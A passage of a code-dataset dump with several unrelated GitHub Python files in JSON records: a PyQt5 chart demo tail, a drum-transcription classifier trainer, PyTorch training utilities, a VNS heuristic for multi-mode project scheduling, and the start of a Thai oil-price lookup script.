app = QtWidgets.QApplication(sys.argv)\n    barShow = UseBar()\n    barShow.show()\n    sys.exit(app.exec_())\n","repo_name":"zizle/PyQt5_Demo","sub_path":"chartsView/useCharts.py","file_name":"useCharts.py","file_ext":"py","file_size_in_byte":5746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8918574747","text":"'''\nthis script is to train classifier for the main task (automatic drum transcription/classification)\nCW @ GTCMT 2017\n'''\nimport numpy as np\nimport sys\nimport time\nsys.path.insert(0, '../autoencoder')\nsys.path.insert(0, '../featureExtraction')\nfrom extractFeatures import checkNan\nfrom FileUtil import scaleMatrix, scaleMatrixWithMinMax, zscoreMatrix, zscoreMatrixWithAvgStd\nfrom sklearn.svm import SVC, LinearSVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split, GridSearchCV\n\n'''\ninput:\n    heldOutOption: str, viable options are 'enst', 'mdb', 'rbma', 'm2005'\n    featureOption: str, viable options are 'baseline', 'convAe', 'convDae', 'convRandom'\n    Note: the .npy file in /featureMat/ directory has the following format [X, y, originalFilePath]\noutput:\n    X_final: ndarray, numSample x numFeature, the final concatenated feature matrix\n    y_final: ndarray, numSample, the final concatenated target vector\n    fileList_final: ndarray, numSample, the corresponding file paths\n'''\ndef prepareTrainingData(heldOutOption, featureOption):\n    allData = ['enst', 'mdb', 'rbma', 'm2005']\n    allData.remove(heldOutOption)\n    X_final = []\n    y_final = []\n    fileList_final = []\n    for dataset in allData:\n        dataPath = '../featureExtraction/featureMat/' + dataset + 'List_' + featureOption + '.npz'\n        tmp = np.load(dataPath)\n        X = tmp['arr_0']\n        y = tmp['arr_1']\n        fileList = tmp['arr_2'] \n        X_final = concateMatrix(X_final, X)\n        y_final = concateMatrix(y_final, y)\n        fileList_final = concateMatrix(fileList_final, fileList)\n    return X_final, y_final, fileList_final \n\n'''\ninput:\n    all: before concatenation 2D matrix\n    new: incoming 2D matrix\noutput:\n    all: after concatenation 2D matrix, concatenated along axis=0\n'''\ndef concateMatrix(all, new):\n    if len(all) == 0:\n        all = new\n    else:\n        all = np.concatenate((all, new), axis=0)\n    return all\n\n'''\ninput:\n    y_original: the original multi-classes label array\n    targetAnn: target drum\n                0: bd\n                1: sd\n                2: hh\noutput:\n    y_target: binary label array (target annotation = 1, others = 0)\n'''\ndef adjustTarget4Instruments(y_original, targetAnn):\n    y_target = np.zeros(np.shape(y_original))\n    for i in range(0, len(y_original)):\n        if y_original[i] == targetAnn:\n            y_target[i] = 1\n    return y_target\n\n\n'''\nthis function performs grid search on the SVM parameter space. The best classifier is selected based on the 10-fold cross-validation accuracy\ninput:\n    X: training data, numSample x numFeature\n    y: label, numSample\noutput:\n    bestClassifier\n'''\ndef gridSearchClassifier(X, y):\n    bestClassifier = []\n\n    #==== Linear SVM (commented out for experimenting)\n    param_grid = {'C':[0.1, 1.0, 10.0, 100.0, 1000.0], 'dual':[False], 'class_weight':['balanced']} \n    svm = LinearSVC()\n    tic = time.time()\n    clf = GridSearchCV(svm, param_grid=param_grid, cv=10, refit=True)\n    clf.fit(X, y)\n    bestClassifier = clf.best_estimator_\n    print('time elapsed %f' % (time.time()-tic))\n\n    #==== Random Forest (commented out for experimenting)\n    # rf = RandomForestClassifier()\n    # param_grid = {'n_estimators':[10, 50], 'max_depth':[2, 4], 'class_weight':['balanced_subsample']}\n    # tic = time.time()\n    # clf = GridSearchCV(rf, param_grid=param_grid, cv=10, refit=True)\n    # clf.fit(X, y)\n    # bestClassifier = clf\n    # print('time elapsed %f' % (time.time()-tic))\n\n    cvBestScore = clf.best_score_\n    print('best cv score (accuracy) = %f' % cvBestScore)\n    return bestClassifier\n\n'''\ninput:\n    X: ndarray, training data numSample x numFeature\n    y: ndarray, training label \noutput:\n    classifiers: array with 3 classifiers in the following order [bd, sd, hh] \n    normParams: array with parameters for normalization [maxVec, minVec]\n'''\ndef getAllClassifiers(X, y):\n    # shuffle data\n    # train classifiers for different drums\n    # save all models \n    classifiers = []\n    XTrain, XTest, yTrain, yTest = train_test_split(X, y, test_size=0.15, random_state=33)\n    # sub-sampling the training set (test_size determines the sub-sampling size)\n    dump, XTrain, dump, yTrain = train_test_split(XTrain, yTrain, test_size=0.10, random_state=33)\n    print('there are %d samples in the training set' % len(yTrain))\n    XTrainScaled, maxVec, minVec = scaleMatrix(XTrain)\n    yBdTrain = [ele[0] for ele in yTrain]\n    ySdTrain = [ele[1] for ele in yTrain]\n    yHhTrain = [ele[2] for ele in yTrain]\n\n    # print(maxVec)\n    # print(minVec)\n    \n    XTestScaled = scaleMatrixWithMinMax(XTest, maxVec, minVec)\n    yBdTest = [ele[0] for ele in yTest]\n    ySdTest = [ele[0] for ele in yTest]\n    yHhTest = [ele[0] for ele in yTest]\n\n    print('==== grid search on BD...')\n    clfBestBd = gridSearchClassifier(XTrainScaled, yBdTrain)\n    print('test accuracy = %f' % clfBestBd.score(XTestScaled, yBdTest))\n    print('==== grid search on SD...')\n    clfBestSd = gridSearchClassifier(XTrainScaled, ySdTrain)\n    print('test accuracy = %f' % clfBestSd.score(XTestScaled, ySdTest))\n    print('==== grid search on HH...')\n    clfBestHh = gridSearchClassifier(XTrainScaled, yHhTrain)\n    print('test accuracy = %f' % clfBestHh.score(XTestScaled, yHhTest))\n\n    #return the best models\n    classifiers = [clfBestBd, clfBestSd, clfBestHh]\n    normParams = [maxVec, minVec]\n    return classifiers, normParams\n\ndef getClassifierPath(heldOutOption, featureOption, saveFolder):\n    classifierPath = saveFolder + 'heldout_' + heldOutOption + '_feat_' + featureOption + '.npz'\n    return classifierPath\n\ndef summarizeClassDistribution(y):\n    print('there are %d samples in current set' % len(y))\n    hhCount = 0\n    bdCount = 0\n    sdCount = 0\n    otCount = 0\n    for drum in y:\n        if drum[0] == 1:\n            bdCount += 1\n        if drum[1] == 1:\n            sdCount += 1\n        if drum[2] == 1:\n            hhCount += 1\n        if np.sum(drum) == 0:\n            otCount += 1\n    print('bd = %d sd = %d hh = %d other = %d' % (bdCount, sdCount, hhCount, otCount))\n    return()\n\ndef main():\n    saveFolder = './trainedClassifier/'\n    allFeatureOptions = ['convAe']#['baseline', 'convRandom']#, 'convAe', 'convDae']\n    allHeldOutOptions = ['enst', 'mdb', 'rbma', 'm2005']\n    \n    for featureOption in allFeatureOptions:\n        for heldOutOption in allHeldOutOptions:\n            X_final, y_final, filelist_final = prepareTrainingData(heldOutOption, featureOption)\n            print('====================================')\n            print('current feature = %s'% featureOption)\n            print('current held out = %s'% heldOutOption)\n            #summarizeClassDistribution(y_final)\n            classifiers, normParams = getAllClassifiers(X_final, y_final)\n            classifierPath = getClassifierPath(heldOutOption, featureOption, saveFolder) \n            np.savez(classifierPath, classifiers, normParams)  \n      \n            # #==== quick sanity check\n            # print('====================================')\n            # print('test on the held out dataset %s'% heldOutOption)\n            # heldOutDataPath = '../featureExtraction/featureMat/' + heldOutOption + 'List_' + featureOption + '.npz'\n            # tmp = np.load(heldOutDataPath)\n            # X = tmp['arr_0']\n            # y = tmp['arr_1']\n            # fileList = tmp['arr_2'] \n            # #summarizeClassDistribution(y)\n\n            # tmp = np.load(classifierPath)\n            # classifiers = tmp['arr_0']\n            # normParams = tmp['arr_1']            \n            # clfBd = classifiers[0]\n            # clfSd = classifiers[1]\n            # clfHh = classifiers[2]\n\n            # maxVec = normParams[0]\n            # minVec = normParams[1]\n            # X = scaleMatrixWithMinMax(X, maxVec, minVec)\n\n            # yBdTest = [ele[0] for ele in y]\n            # ySdTest = [ele[1] for ele in y]\n            # yHhTest = [ele[2] for ele in y]\n\n            # bdScore = clfBd.score(X, yBdTest)\n            # sdScore = clfSd.score(X, ySdTest)\n            # hhScore = clfHh.score(X, yHhTest)\n\n            # print(bdScore)\n            # print(sdScore)\n            # print(hhScore)\n    return()\n\nif __name__ == \"__main__\":\n    print('running main() directly')\n    main()","repo_name":"cwu307/ADT_with_unlabeledData","sub_path":"featureLearning/mainTaskModels/trainClassifier.py","file_name":"trainClassifier.py","file_ext":"py","file_size_in_byte":8297,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"37391067931","text":"from __future__ import absolute_import, division, print_function\n\nfrom datetime import datetime\nimport os\nimport torch\nimport numpy as np\nimport random\nimport sys\nimport pickle\nfrom functools import reduce\n\n# -----------------------------------------------------------------------------------------------------------#\n# General auxilary functions\n# -----------------------------------------------------------------------------------------------------------#\n\ndef list_mult(L):\n    return reduce(lambda x, y: x* y, L)\n\n# -----------------------------------------------------------------------------------------------------------#\n\ndef set_random_seed(seed):\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed_all(seed)\n    np.random.seed(seed)\n    random.seed(seed)\n\n\n# -----------------------------------------------------------------------------------------------------------#\n\ndef get_prediction(outputs):\n    if outputs.shape[1] == 1:\n        # binary classification\n        pred = (outputs > 0)\n    else:\n        # multi-class classification\n        ''' Determine the class prediction by the max output and compare to ground truth'''\n        pred = outputs.data.max(1, keepdim=True)[1]  # get the index of the max output\n    return pred\n\n\n# -----------------------------------------------------------------------------------------------------------#\n\ndef count_correct(outputs, targets):\n    pred = get_prediction(outputs)\n    return pred.eq(targets.data.view_as(pred)).cpu().sum().item()\n\n\n# -----------------------------------------------------------------------------------------------------------#\n\ndef correct_rate(outputs, targets):\n    n_correct = count_correct(outputs, targets)\n    n_samples = outputs.shape[0]\n    return n_correct / n_samples\n\n\n# -----------------------------------------------------------------------------------------------------------#\n\ndef save_model_state(model, f_path):\n    with open(f_path, 'wb') as f_pointer:\n        torch.save(model.state_dict(), f_pointer)\n    return f_path\n\n\n# -----------------------------------------------------------------------------------------------------------#\n\ndef load_model_state(model, f_path):\n    if not os.path.exists(f_path):\n        raise ValueError('No file found with the path: ' + f_path)\n    with open(f_path, 'rb') as f_pointer:\n        model.load_state_dict(torch.load(f_pointer))\n\n\ndef net_weights_magnitude(model, device, p=2):  # corrected\n    ''' Calculates the total p-norm of the weights  |W|_p^p\n        If exp_on_logs flag is on, then parameters with log_var in their name are exponented'''\n    total_mag = torch.zeros(1, device=device, requires_grad=True)[0]\n    for (param_name, param) in model.named_parameters():\n        total_mag = total_mag + param.pow(p).sum()\n    return total_mag\n\n\n# -----------------------------------------------------------------------------------------------------------#\n# Optimizer\n# -----------------------------------------------------------------------------------------------------------#\n\n# Gradient step function:\ndef grad_step(objective, optimizer, lr_schedule=None, initial_lr=None, i_epoch=None):\n    if lr_schedule:\n        adjust_learning_rate_schedule(optimizer, i_epoch, initial_lr, **lr_schedule)\n    optimizer.zero_grad()\n    objective.backward()\n    # torch.nn.utils.clip_grad_norm(parameters, 0.25)\n    optimizer.step()\n\n\ndef adjust_learning_rate_interval(optimizer, epoch, initial_lr, gamma, decay_interval):\n    \"\"\"Sets the learning rate to the initial LR decayed by gamma every decay_interval epochs\"\"\"\n    lr = initial_lr * (gamma ** (epoch // decay_interval))\n    for param_group in optimizer.param_groups:\n        param_group['lr'] = lr\n\n\ndef adjust_learning_rate_schedule(optimizer, epoch, initial_lr, decay_factor, decay_epochs):\n    \"\"\"The learning rate is decayed by decay_factor at each interval start \"\"\"\n\n    # Find the index of the current interval:\n    interval_index = len([mark for mark in decay_epochs if mark < epoch])\n\n    lr = initial_lr * (decay_factor ** interval_index)\n    for param_group in optimizer.param_groups:\n        param_group['lr'] = lr\n","repo_name":"lioritan/meta-adapt-pb","sub_path":"utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7323923919","text":"import re\nimport math\nimport copy\nimport time\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport pdb\n\n\n\"\"\"\nINPUTs\nargs: \n    M_i\n    d_im\n    P_prec\n    r, R_r, U_imr\n    nr, R_nr, U_imnr: default None\n\"\"\"\n# multi-mode\nM_i = [1,2,3]\n\n# renewable and nonrenewable resource type\nnum_r = [1,2]  # R1, R2\nnum_nr = None\n\n# renewable and nonrenewable resource availability\n# R_r = {0:9, 1:4}\nR_r = [9,4]\nR_nr = None\n\n# renewable and nonrenewable resource requirement of activity i in mode m, either R1 or R2\nU_imr ={1:{1:[0,0],2:[0,0],3:[0,0]},\n        2:{1:[6,0],2:[5,0],3:[0,6]},\n        3:{1:[0,4],2:[7,0],3:[0,2]},\n        4:{1:[7,0],2:[6,0],3:[5,0]},\n        5:{1:[0,9],2:[2,0],3:[0,5]},\n        6:{1:[4,0],2:[0,8],3:[2,0]},\n        7:{1:[5,0],2:[0,7],3:[4,0]},\n        8:{1:[6,0],2:[3,0],3:[4,0]},\n        9:{1:[4,0],2:[2,0],3:[1,0]},\n        10:{1:[4,0],2:[0,2],3:[1,0]},\n        11:{1:[0,2],2:[0,1],3:[0,1]},\n        12:{1:[0,0],2:[0,0],3:[0,0]},}\nU_imnr = None\n\n# duration of activity i in mode m\nd_im={1:{1:0,2:0,3:0},\n      2:{1:3,2:9,3:10},\n      3:{1:1,2:1,3:5},\n      4:{1:3,2:5,3:8},\n      5:{1:4,2:6,3:10},\n      6:{1:2,2:4,3:6},\n      7:{1:3,2:6,3:8},\n      8:{1:4,2:10,3:9},\n      9:{1:2,2:7,3:10},\n      10:{1:1,2:1,3:9},\n      11:{1:6,2:9,3:9},\n      12:{1:0,2:0,3:0},}\n\n# adjacent matrix: precedence relationships\n# row for i, column for j, i happens before j\nP_prec={1:[2,3,4],\n        2:[5,6],\n        3:[10,11],\n        4:[9],\n        5:[7,8],\n        6:[11],\n        7:[9,10],\n        8:[9],\n        9:[12],\n        10:[12],\n        11:[12],\n        12:[12]}\n\n\n\"\"\"Params\"\"\"\n# sBest = \nfBest = 15\nrunMax = 30\ntMax = 25\n\nnumI = 10                       # num of activities\nI = [2,3,4,5,6,7,8,9,10,11]      # activities\n# i = 1,2,...,11,11+1                # including start and end dummy nodes\nA = [1,2,3,4,5,6,7,8,9,10,11,12] # the set of nodes\n\n\n\"\"\"helpers\"\"\"\n# mode selection rule: shortest possible way, if tie, choose smaller order\ndef mode_selection(dict_dim,dict_Uimr):\n    \"\"\"\n    mode selection rule\n    SFM: shortest possible way, if d tie, calculate RU; if RU also tie, choose smaller order\n    \"\"\"\n    sort_m = sorted(dict_dim.values())\n\n    # d tie, calculate RU\n    if sort_m[0] in sort_m[1:]:\n        m = 0\n        d = 0\n        ru = np.sum(R_r)\n        for i,di in enumerate(dict_dim.values()):\n            if di==sort_m[0]:\n                mi = i+1\n                rui = np.sum(dict_Uimr[mi])\n                if rui<ru:\n                    m=mi\n                    d=di\n                    ru=rui\n        return m, d\n\n    else:\n        # min_d = sort_m[0]\n        for d in sort_m:\n            m = list(dict_dim.keys())[list(dict_dim.values()).index(d)]\n            if ((np.array(R_r) - np.array(dict_Uimr[m]))>=0).all():\n                return m, d\n\n\n# priority rule: random selection\ndef priority_rule(SE):\n    \"\"\"priority rule: random selection\"\"\"\n    return random.choice(SE)\n\n# find type of renewable resource R, either R1 or R2\ndef typeR(U_im):\n    \"\"\"U_im (list)\"\"\"\n    r_id = 0\n    r = 0\n    # print(U_im,type(U_im))\n    for i in range(len(U_im)):\n        if U_im[i] != 0:\n            r_id = i\n            r = U_im[i]\n    return r_id,r\n\n# union of 2 sets\ndef uni(s1, s2):\n    s = list(set(s1).union(set(s2)))\n    return s\n\n# difference of 2 sets\ndef diff(s1, s2):\n    s = list(set(s1) - set(s2))\n    return s\n\n\n\"\"\"Pre-process\"\"\"\ndef data_process(A, d_im, U_imr):\n    D_i = {}\n    U_i = {}\n    U_im = {}\n    for i in A:\n        m_i,d_i = mode_selection(d_im[i], U_imr[i])\n        r_im = U_imr[i][m_i]\n        r_id, r = typeR(r_im)\n        D_i[i] = d_i\n        U_i[i] = {r_id: r}\n        U_im[i] = r_im\n    return D_i, U_i, U_im\n\n\ndef get_pred(prec):\n    \"\"\"\n    prec (dict): P_prec\n    \"\"\"\n    P_pre = {}\n\n    for i in prec:\n        succ = prec[i]\n        for j in succ:\n            if j not in P_pre:\n                P_pre[j] = [i]\n            else:\n                P_pre[j].append(i)\n    return P_pre\n\n\nD_i, U_i, U_im = data_process(A,d_im,U_imr)\npr = get_pred(P_prec)\n# print(D_i)\n# print(U_i)\n# print(U_im)\n# print(pr)\n\n\n\"\"\"algorithm (a): generation of initial schedules\"\"\"\ndef initial_schedule2(d_im,P_prec,r,R_r,U_imr,nr=None,R_nr=None,U_imnr=None):\n    \"\"\"\n    return:\n        s (list): start time\n        f (list): end time\n        order (dict): activity sequence\n    \"\"\"\n    \n    g, t = 0,0\n    C_g = []   # already scheduled and completed\n    E_g = []   # predecessors Predj have been completed \n    A_g = [1]  # active \n    SE_g = [1] # a subset of E_g, will start at time t_g\n    \n    s = np.zeros((len(num_r),len(A)))\n    f = np.zeros((len(num_r),len(A)))\n    order = {}\n\n    D_i, U_i, U_im = data_process(A,d_im,U_imr)\n    Prec_i = get_pred(P_prec)\n\n    # for run in range(runMax):\n        \n    # while len(uni(C_g, A_g)) <= len(A):\n    while len(C_g) <= len(A):\n\n        g += 1\n        t += 1\n\n        t_g = tMax\n        for i in A_g:\n            r_id,_ = typeR(U_im[i])\n            t_g = min(t_g, f[r_id][i-1])\n\n        t_g_i = []\n        A_g_new = []\n        for i in A_g:\n            r_id,_ = typeR(U_im[i])\n            if f[r_id,i-1]<=t_g:\n                t_g_i.append(i)\n            else: A_g_new.append(i)\n        \n        C_g = uni(C_g, t_g_i)\n        A_g = A_g_new\n        order[g] = t_g_i\n\n        C_g_succ = []\n        for i in C_g:\n            C_g_succ += P_prec[i]\n        C_g_succ = list(set(C_g_succ))\n\n        C_g_succ_new = []\n        for i_c in C_g_succ:\n            isvalid = True\n            for i_c_prec in Prec_i[i_c]:\n                if i_c_prec not in C_g and isvalid:\n                    isvalid = False\n            if isvalid: C_g_succ_new.append(i_c)\n\n        E_g = diff(C_g_succ_new, uni(C_g, A_g))\n        SE_g = []\n\n        Rr_g = []\n        for i in A_g:\n            u_i = U_im[i]\n            Rr_g.append(u_i)\n        Rr_g = R_r - np.sum(Rr_g,axis=0)\n        # Rnr_g = \n\n        # print(\"iter: \",g)\n        # print(\"Complete: \",C_g)\n        # print(\"Activate: \",A_g)\n        # print(\"Eligible: \",E_g)\n        # print(\"SubE: \",SE_g)\n        # print(\"\\n\")\n\n        while E_g:\n            i_next = priority_rule(E_g)\n            u_i_next = U_im[i_next]\n            E_g = diff(E_g, [i_next])\n\n            if ((Rr_g-u_i_next)>=0).all():\n                # if Rnr_g- \n\n                r_id,r = typeR(u_i_next)\n\n                SE_g = uni(SE_g, [i_next])\n                A_g = uni(A_g, [i_next])\n                Rr_g -= u_i_next\n                s[r_id][i_next-1] = t_g\n            else:\n                SE_g = SE_g\n                A_g = A_g\n\n        for i in SE_g:\n            r_id,_ = typeR(U_im[i])\n            f[r_id][i-1] = s[r_id][i-1] + D_i[i]\n\n        if len(C_g) == len(A)-1:\n            # print(\"end: \",C_g)\n            break\n    return s,f,order\n\n\n\n\"\"\"Plot\"\"\"\ndef plottask(start,finish,order):\n    \"\"\"\n    start (np.array)\n    finish (np.array)\n    order (dict)\n    \"\"\"\n    numRow = len(num_r)\n    numCol = 1\n\n    s = start\n    f = finish\n    w = f-s\n    h = np.zeros((len(num_r),len(A)))\n    for i in range(len(A)):\n        r_id,r = typeR(U_im[i+1])\n        h[r_id][i] = r\n\n    tag = np.zeros((numRow, tMax))\n    rtag = np.zeros((numRow, tMax))\n    yltag = np.zeros((len(num_r),len(A)))\n\n    plt.figure(figsize=(10,10))\n    for t,i in enumerate(order.values()):\n        i = i[0]   # activity\n        idx = i-1  # index\n        r_id,r = typeR(U_im[i])\n        si = int(s[r_id][idx])\n        hi = int(h[r_id][idx])\n        wi = int(w[r_id][idx])\n        \n        for t in range(si,si+wi):\n            if tag[r_id][t] == 0:\n                tag[r_id][t] = i\n                rtag[r_id][t] = r\n\n        if tag[r_id][si] != i:\n            print(\"here: \", i, tag[r_id][si])\n\n            yli = yltag[r_id][int(tag[r_id][si])-1]\n            if hi <= yli:\n                yl = 0\n            else:\n                yl = rtag[r_id][si]\n        else: yl = 0\n        yltag[r_id][idx]=yl\n        print(i,si, yl, hi, wi)\n\n        # if i != 1:\n        # subplot(numRows, numCols, plotNum)\n        plt.subplot(numRow,numCol,r_id+1)\n        plt.axhline(y=R_r[r_id], ls=\"--\", c=\"r\")\n        plt.bar(si, hi, wi, bottom=yl, align=\"edge\", label=\"{}\".format(i))\n        plt.legend(loc=\"upper right\")\n        plt.xlabel('Time')\n        plt.ylabel('Resource use')\n        plt.xlim([0,tMax])\n        plt.title('Renewable reaource R{}'.format(r_id+1))\n        plt.grid(linestyle='-.')\n    # plt.savefig(path + 'Initial Schedules.png', format='png')\n\n\n\"\"\"algorithm (b) Shaking phase: swap/move\"\"\"\nrun = 1000\n\n\"\"\"extensive experiment: generate several intial schedules and select the one with best makespan\"\"\"\ndef generate_init(run):\n    orders = []\n    ord_dic = {}\n    for k in range(run):\n        sk,fk,ok = initial_schedule2(d_im,P_prec,num_r,R_r,U_imr)\n        f = max(fk.flatten())\n        ord = [o[0] for o in list(ok.values())]\n        if ord not in orders:\n            orders.append(ord)\n            if f not in ord_dic:\n                ord_dic[f] = [ord]\n            else: ord_dic[f].append(ord)\n    return orders,ord_dic\n\n\ndef ifswap(id,i,cs):\n    \"\"\"\n    Apply precedence and resource constraints\n    args:\n        id: current activity \n        i:  swap activity\n        cs: current schedules\n    return:\n        ifswap (bool): if id and i can swap\n    \"\"\"\n    Prec_i = get_pred(P_prec)\n\n    isvalid = False\n    if i not in P_prec[id]:\n        if set(Prec_i[i]) <= set(cs[:id]):  # < if a include b; <= if b is subset of a\n            isvalid = True\n      \n    return isvalid\n\n\ndef check_unique(feas_uni):\n    \"\"\"\n    args:\n        feas_uni (list): all feasible unique schedules after swapping\n    return:\n        isunique (bool) \n    \"\"\"\n    isunique = True\n    for i,f in enumerate(feas_uni):\n        ff = feas_uni[:i]+feas_uni[i+1:]\n        if f in ff:\n            ii = ff.index(f)\n            # print(i, \":\", f, \"same\", ii)\n            isunique = False\n    return isunique\n\n\ndef swap(BS_uni):\n    \"\"\"\n    Enhanced activity swapping strategy\n    args:\n        BS_uni (2d-list): a set of unique feasible schedules with best makespan generated by algorithm (a)\n    return:\n        AS (2d-list): feasible unique schedules    \n    \"\"\"\n    AS = []\n    cnt = 0\n    for p in range(len(BS_uni)):       # p: num of unique best schedules\n        CS = BS_uni[p]\n        for k in range(1,len(A)-1):    # k: activities available in project, excluding dummy end nodes, start from activity 1\n            activity = CS[k]\n            # print(\"\\n\", k,\":\", activity, BS_uni[p])\n\n            # forward swap\n            CS_copy_f = copy.deepcopy(CS)\n            for i in range(len(A)-1-k):\n                id1 = CS_copy_f.index(activity)\n                if ifswap(CS_copy_f[id1],CS_copy_f[k+i],CS_copy_f):   # apply constraints\n                    CS_copy_f[id1],CS_copy_f[k+i] = CS_copy_f[k+i],CS_copy_f[id1]\n                    # print(p,k,i,CS_copy_f)\n                    if CS_copy_f not in AS:   # if unique\n                        cnt += 1\n                        # print(cnt, \"Forward PICK: \", CS_copy_f)\n                        find = copy.deepcopy(CS_copy_f)\n                        AS.append(find)\n\n            # backward swap\n            CS_copy_b = copy.deepcopy(CS)\n            for j in range(k-1):\n                id2 = CS_copy_b.index(activity)\n                if ifswap(CS_copy_b[k-j-1],CS_copy_b[id2],CS_copy_b):  # apply constraints\n                    CS_copy_b[id2],CS_copy_b[k-j-1] = CS_copy_b[k-j-1],CS_copy_b[id2]\n                    # print(p,k,j,CS_copy_b)\n                    if CS_copy_b not in AS:   # if unique\n                        cnt += 1\n                        # print(cnt, \"Backward PICK: \", CS_copy_b)\n                        find = copy.deepcopy(CS_copy_b)\n                        AS.append(find)\n    \n    if check_unique(AS):\n        print(\"All feasible schedules are uniqe. GOOD LUCK.\")\n        return AS\n    else:\n        print(\"Please double check SWAP algorithm !!! \")\n\n\n\n\"\"\"algorithm (c) Obtain modified makespan: calculate new finish time\"\"\"\ndef modified_makespan(feas, d_im,P_prec,r,R_r,U_imr,nr=None,R_nr=None,U_imnr=None):\n    \"\"\"\n    Calculate new finish time of new-generated precedence feasible schedules\n    args:\n        feas (list): schedules order generated by swapping/moving\n    return:\n        s (ndarray) \n        f (ndarray)\n        modified_f (scalar): modified makespan\n    \"\"\"\n\n    g, t = 0,0\n    NS_g = 0\n    C_g = []   # already scheduled and completed\n    # E_g = []   # predecessors Predj have been completed \n    A_g = [1]  # active \n    SE_g = [1] # a subset of E_g, will start at time t_g\n    \n    s = np.zeros((len(num_r),len(A)))\n    f = np.zeros((len(num_r),len(A)))\n\n    D_i, U_i, U_im = data_process(A,d_im,U_imr)\n    Prec_i = get_pred(P_prec)\n        \n    while len(uni(C_g, A_g)) <= len(A)-2 and t <= tMax:\n    # while len(C_g) <= len(A):\n\n        g += 1\n        t += 1\n\n        t_g = tMax\n        for i in A_g:\n            r_id,_ = typeR(U_im[i])\n            t_g = min(t_g, f[r_id][i-1])\n\n        t_g_i = []\n        A_g_new = []\n        for i in A_g:\n            r_id,_ = typeR(U_im[i])\n            if f[r_id,i-1]<=t_g:\n                t_g_i.append(i)\n            else: A_g_new.append(i)\n        \n        C_g = uni(C_g, t_g_i)\n        A_g = A_g_new\n\n        SE_g = []\n\n        Rr_g = []\n        for i in A_g:\n            u_i = U_im[i]\n            Rr_g.append(u_i)\n        Rr_g = R_r - np.sum(Rr_g,axis=0)\n        # Rnr_g = \n\n        # print(\"iter: \",g)\n        # print(\"Complete: \",C_g)\n        # print(\"Activate: \",A_g)\n        # # print(\"Eligible: \",E_g)\n        # print(\"SubE: \",SE_g)\n        # print(\"\\n\")\n\n        if len(C_g) == len(A)-1:\n            print(\"end: \",C_g)\n            break\n\n        for k in range(NS_g,len(feas)):\n            i_next = feas[k]\n            u_i_next = U_im[i_next]\n\n            # print(\"k: \", k)\n            # print(\"i = \", i_next)\n            # print(\"Rr_g: \\n\", Rr_g)\n            \n            out = False\n            if i_next != 1:\n                i_prec = Prec_i[i_next]\n                for ip in i_prec:\n                    if ip not in C_g:\n                        # print(\"ip: \",ip)\n                        NS_g = k\n                        out = True\n                        break\n                    else: continue\n            if out: break\n            else:    \n                if ((Rr_g-u_i_next)>=0).all():\n                    # if ((Rnr_g-u_i_next)>=0).all(): \n\n                    r_id,r = typeR(u_i_next)\n\n                    SE_g = uni(SE_g, [i_next])\n                    A_g = uni(A_g, [i_next])\n                    Rr_g -= u_i_next\n                    # print(\"i: \",i_next, t_g)\n                    s[r_id][i_next-1] = t_g\n                else:\n                    # print(\"false: \", i_next)\n                    SE_g = SE_g\n                    A_g = A_g\n                    NS_g = k\n                    break\n\n        for i in SE_g:\n            r_id,_ = typeR(U_im[i])\n            f[r_id][i-1] = s[r_id][i-1] + D_i[i]\n\n    modified_f = max(f.flatten())\n    return s,f,modified_f\n\n\n\"\"\"Main: whole procedures\"\"\"\ndef MVNSH(runMax,fBest):\n    run = 0\n    bestknown = []\n\n    start = time.time()\n    while run <= runMax:\n        ss = time.time()\n        print(\"Initializing...\")\n        s,f,order = initial_schedule2(d_im,P_prec,num_r,R_r,U_imr)\n        makespan = max(f.flatten())\n        if makespan == fBest:\n            bestknown.append(makespan)\n            break\n        else:\n            print(\"Shaking...\")\n            ord_list = [o[0] for o in list(order.values())]\n            feas_uni = swap([ord_list])\n\n            print(\"Local searching...\")\n            idx = random.randint(0,len(feas_uni)-1)\n            feas_uni = feas_uni[idx]\n            print(feas_uni)\n            u_s,u_f,u_makespan = modified_makespan(feas_uni,d_im,P_prec,num_r,R_r,U_imr)\n\n            if u_makespan == fBest:\n                bestknown.append(u_makespan)\n                break\n            else:\n                if u_makespan > fBest:\n                    bestknown.append(min(makespan, u_makespan))\n                    run += 1\n        ee = time.time()\n        print(\"[run]: \", run)\n        print(\"[time]: \", ee-ss)\n        print(\"makespan = \", min(bestknown))\n\n    end = time.time()\n    tspan = end-start\n    print(\"total run: \", run)\n    print(\"makespan: \", min(bestknown))\n    print(\"total time: \", tspan)\n\n    return min(bestknown), tspan\n\nif __name__ == \"__main__\":\n    MVNSH(runMax,fBest)\n","repo_name":"jingxual/VNS-for-MRCPSPs","sub_path":"MVNSH_MRCPSPs.py","file_name":"MVNSH_MRCPSPs.py","file_ext":"py","file_size_in_byte":16381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18638857352","text":"import json  # import json เข้ามาใช้แปลงจาก Dict เป็น json\nimport xmltodict  # แปลง xml ให้เป็น Dict\nimport subprocess as sp\nfrom suds.client import Client  # เข้าไปอ่านไฟล์จาก Website\nimport os\nclient = Client('https://www.pttor.com/OilPrice.asmx?WSDL')\nOilPrice = client.service.CurrentOilPrice(Language='thai')\nOilPrice1 = xmltodict.parse(OilPrice)\nPrice = eval(json.dumps(OilPrice1))\nop = dict()\nw, h = os.get_terminal_size()\nprint(w, h)\n\n\ndef func_main():\n    # แสดงข้อมูลราคาและชนิดน้ำมัน\n    sp.call('clear', shell=True)\n    oil_li = [{\"name\": \"1.Gasoline 95  \", \"price\": 29.16},\n              {\"name\": \"2.Gasoline 91  \", \"price\": 25.30},\n              {\"name\": \"3.Gassohol 91  \", \"price\": 21.68},\n              {\"name\": \"4.Gassohol E20 \", \"price\": 20.20},\n              {\"name\": \"5.Gassohol 95  \", \"price\": 21.00},\n              {\"name\": \"6.Gassohol 95  \", \"price\": 21.10}]\n\n    sp.run('', shell=True)\n    space_up()\n    for oil in Price.get(\"PTTOR_DS\").get(\"FUEL\"):\n        if(oil.get(\"PRICE_DATE\").split()[0].split(\"/\")[2] == 